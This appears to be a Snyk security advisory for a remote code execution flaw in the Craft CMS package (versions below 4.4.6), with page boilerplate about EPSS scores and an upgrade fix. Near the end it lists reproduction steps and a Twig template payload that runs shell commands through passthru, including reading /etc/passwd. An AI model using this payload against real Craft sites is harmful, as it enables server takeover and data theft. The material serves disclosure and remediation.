Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsLearn about Remote Code Execution (RCE) vulnerabilities in an interactive lesson.
Start learningUpgrade craftcms/cms
to version 4.4.6 or higher.
craftcms/cms is a content management system.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to not restricting file extensions for templates to only the expected defaultTemplateExtensions = ['html', 'twig']
. This allows privileged users with ALLOW_ADMIN_CHANGES=true
set to upload and execute arbitrary code. If the name
parameter value is not an empty string in the _resolveTemplate()
function it returns directly without extension verification.
Create a new filesystem with Base Path /var/www/html/templates
Create a new asset volume with Asset Filesystem template
Upload payload in a twig template
{{'<pre>'}}
{{['cat /etc/passwd']|map('passthru')|join}}
{{['id;pwd;ls -altr /']|map('passthru')|join}}
Create a new global set with template layout using the filename of the file just uploaded
Access the global menu or /admin/global/test